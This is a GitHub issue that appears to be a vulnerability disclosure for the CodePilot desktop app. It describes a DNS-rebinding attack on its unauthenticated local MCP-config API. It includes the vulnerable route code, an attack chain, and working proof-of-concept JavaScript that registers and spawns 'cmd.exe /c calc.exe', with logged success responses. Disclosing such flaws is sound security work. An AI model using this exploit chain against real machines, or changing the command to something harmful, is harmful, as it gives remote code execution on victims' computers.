Repository navigation
Open
Labels
P0-data-loss-risk可能误改或丢失用户数据 / 文件可能误改或丢失用户数据 / 文件bugSomething isn't workingSomething isn't workingneeds-repro缺可复现信息:版本 / 平台 / runtime / 日志缺可复现信息:版本 / 平台 / runtime / 日志
Description
CodePilot 版本 / Version
0.67.17
操作系统与架构 / OS & arch
Windows11 x64
Runtime
Native
Provider / Model
任意
是否可复现 / Reproducible?
每次都能复现 / always
复现步骤 / Steps to reproduce
Root Cause
1. Loopback is treated as a security boundary
The local API assumes:
A request that reaches 127.0.0.1:47823 is a trusted local user.
A browser page can reach the same API through DNS rebinding.
2. State-changing API lacks validation
src/app/api/plugins/mcp/route.ts (PUT):
const body = await request.json();
const incoming = body.mcpServers as Record<string, MCPServerConfig & { _source?: string }>;
// writes ~/.claude/settings.json mcpServers directlyNo Origin/Host/CSRF validation; the MCP command and args are fully request-controlled.
src/app/api/plugins/mcp/toggle/route.ts (POST):
const { serverName, enabled } = await request.json();
const allServers = loadAllMcpServers();
const serverConfig = allServers?.[serverName];
if (serverConfig) {
await connectServer(serverName, serverConfig);
}connectServer creates StdioClientTransport({ command, args }) and spawns it.
3. Request-side validation gaps
- No Host allowlist;
- No Origin/Referer check;
- No CSRF token;
/toggledoes not enforceContent-Type: application/json;- No user approval or command allowlist for MCP add/start.
4. DNS rebinding is the transport
Browser same-origin is scheme + host + port, not IP. The attacker controls the DNS for their own domain:
First resolution: evil.example → attacker page server
Page loads
Second resolution: evil.example → 127.0.0.1
The page origin remains http://evil.example:47823, so /api/plugins/mcp is same-origin and does not require CORS. The server does not validate Host and accepts the request.
Attack Chain
Victim opens a malicious page
→ browser loads http://<rebind-domain>:47823/rebind.html
→ page JavaScript loops fetch('/api/plugins/mcp', PUT)
{mcpServers:{rebind:{type:'stdio',command:'cmd.exe',args:['/c','calc.exe']}}}
→ DNS rebinds to 127.0.0.1:47823
→ CodePilot has no validation and writes ~/.claude/settings.json
→ page POSTs /api/plugins/mcp/toggle {enabled:true}
→ loadAllMcpServers → connectServer
→ new StdioClientTransport({command:'cmd.exe',args:['/c','calc.exe']})
→ spawn
Environment:
- Chrome installed locally, launched with
--no-proxy-server(the system proxy returned 502 and interfered with direct DNS); - Attacker page:
127.0.0.2:47823; - Target: CodePilot
127.0.0.1:47823; - Rebinding domain:
7f000002.7f000001.rbndr.us:47823, TTL 1/0, A records alternating between127.0.0.2and127.0.0.1.
Page JavaScript:
const name = 'rebind-poc-' + Date.now();
await fetch('/api/plugins/mcp', {
method: 'PUT',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
mcpServers: {
[name]: {
type: 'stdio',
command: 'C:\\Windows\\System32\\cmd.exe',
args: ['/c', 'calc.exe']
}
}
})
});
await fetch('/api/plugins/mcp/toggle', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({serverName: name, enabled: true})
});Result:
- The page loaded from
127.0.0.2; the first 20–24 PUTs hit the attacker server and returned404. - After Chrome's DNS cache expired, the next PUT hit CodePilot and returned 200
{"success":true}. POST /api/plugins/mcp/togglereturned 200{"success":true}.
期望 vs 实际 / Expected vs actual
日志 / 截图 / session id
Poc Video:
CodePilot-rce-rebinddns.mp4
影响面 / Impact
- 涉及文件写入或可能误改/丢失数据 / involves file write or possible data loss
- 导致崩溃、闪退或对话被自动中断 / causes crash / quit / auto-interrupt
Metadata
Metadata
Assignees
Labels
P0-data-loss-risk可能误改或丢失用户数据 / 文件可能误改或丢失用户数据 / 文件bugSomething isn't workingSomething isn't workingneeds-repro缺可复现信息:版本 / 平台 / runtime / 日志缺可复现信息:版本 / 平台 / runtime / 日志
Activity
github-actions commentedon Nov 12, 2026
感谢反馈!这个 issue 似乎缺少必要的复现信息,已标记
needs-repro。请用 issue 模板、在最新版 v0.56.2+ 上补齐:版本号、操作系统、Runtime、Provider / 模型、复现步骤、日志 / session id(请脱敏,不要包含 API key)。
直接在本 issue 下回复补充即可 —— 补全后会自动取消
needs-repro标记、进入正常排队;长期无回应会按 stale 流程提醒、最终关闭(关闭后随时可重新打开)。